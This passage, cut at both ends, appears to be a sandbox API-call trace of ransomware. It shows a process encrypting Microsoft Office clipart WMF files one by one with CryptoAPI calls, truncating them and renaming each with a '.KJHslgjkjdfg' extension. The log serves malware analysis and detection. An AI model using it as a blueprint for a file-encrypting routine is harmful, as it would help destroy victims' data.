lpNumberOfBytesWritten=0x290f270*=0xc50, lpOverlapped=0x0) returned 1 [0173.235] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.235] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xd24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.235] SetEndOfFile (hFile=0x114) returned 1 [0173.238] GetProcessHeap () returned 0x2a0000 [0173.238] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.238] GetProcessHeap () returned 0x2a0000 [0173.238] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.238] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf.kjhslgjkjdfg")) returned 1 [0173.239] CloseHandle (hObject=0x114) returned 1 [0173.239] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563e0210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe3c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107742.WMF", cAlternateFileName="")) returned 1 [0173.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.240] GetProcessHeap () returned 0x2a0000 [0173.240] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.240] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.240] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.240] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.242] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.242] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.242] GetProcessHeap () returned 0x2a0000 [0173.242] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.242] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.242] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.242] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.242] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.243] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.243] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.243] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.243] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.243] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.243] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.243] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.243] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xe3c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xe3c, lpOverlapped=0x0) returned 1 [0173.243] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xe40, dwBufLen=0xe40 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xe40) returned 1 [0173.243] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.243] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xe40, lpOverlapped=0x0) returned 1 [0173.243] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.243] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xf14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.243] SetEndOfFile (hFile=0x114) returned 1 [0173.246] GetProcessHeap () returned 0x2a0000 [0173.246] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.246] GetProcessHeap () returned 0x2a0000 [0173.246] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.246] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf.kjhslgjkjdfg")) returned 1 [0173.247] CloseHandle (hObject=0x114) returned 1 [0173.247] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107744.WMF", cAlternateFileName="")) returned 1 [0173.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.333] GetProcessHeap () returned 0x2a0000 [0173.333] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.333] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.333] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.333] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.340] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.340] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.340] GetProcessHeap () returned 0x2a0000 [0173.340] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.340] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.340] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.340] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.341] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.341] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.341] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.341] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.341] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.341] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.341] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.341] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.341] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x138c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x138c, lpOverlapped=0x0) returned 1 [0173.342] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1390, dwBufLen=0x1390 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1390) returned 1 [0173.342] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.342] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1390, lpOverlapped=0x0) returned 1 [0173.342] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.343] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.343] SetEndOfFile (hFile=0x114) returned 1 [0173.345] GetProcessHeap () returned 0x2a0000 [0173.345] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.345] GetProcessHeap () returned 0x2a0000 [0173.345] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.345] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf.kjhslgjkjdfg")) returned 1 [0173.347] CloseHandle (hObject=0x114) returned 1 [0173.347] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563e0210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12b4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107746.WMF", cAlternateFileName="")) returned 1 [0173.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.347] GetProcessHeap () returned 0x2a0000 [0173.348] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.348] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.348] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.348] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0173.350] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.350] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.350] GetProcessHeap () returned 0x2a0000 [0173.350] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.350] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.350] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.350] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.350] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.350] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.350] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.350] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.350] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.351] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.351] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.351] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.351] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x12b4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x12b4, lpOverlapped=0x0) returned 1 [0173.352] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x12c0, dwBufLen=0x12c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x12c0) returned 1 [0173.352] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.352] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x12c0, lpOverlapped=0x0) returned 1 [0173.352] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.352] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.352] SetEndOfFile (hFile=0x114) returned 1 [0173.354] GetProcessHeap () returned 0x2a0000 [0173.354] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.354] GetProcessHeap () returned 0x2a0000 [0173.354] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.355] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf.kjhslgjkjdfg")) returned 1 [0173.356] CloseHandle (hObject=0x114) returned 1 [0173.356] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2020, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107748.WMF", cAlternateFileName="")) returned 1 [0173.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.357] GetProcessHeap () returned 0x2a0000 [0173.357] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.357] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.357] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.357] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.357] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.357] GetProcessHeap () returned 0x2a0000 [0173.357] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.357] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.357] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.357] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.359] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.359] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.359] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.359] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.359] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.360] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.360] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.360] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.360] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2020, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2020, lpOverlapped=0x0) returned 1 [0173.361] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2020, dwBufLen=0x2020 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2020) returned 1 [0173.361] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.361] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2020, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2020, lpOverlapped=0x0) returned 1 [0173.361] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.361] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x20f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.361] SetEndOfFile (hFile=0x114) returned 1 [0173.364] GetProcessHeap () returned 0x2a0000 [0173.364] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.364] GetProcessHeap () returned 0x2a0000 [0173.364] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.364] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf.kjhslgjkjdfg")) returned 1 [0173.365] CloseHandle (hObject=0x114) returned 1 [0173.365] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x126c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107750.WMF", cAlternateFileName="")) returned 1 [0173.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program 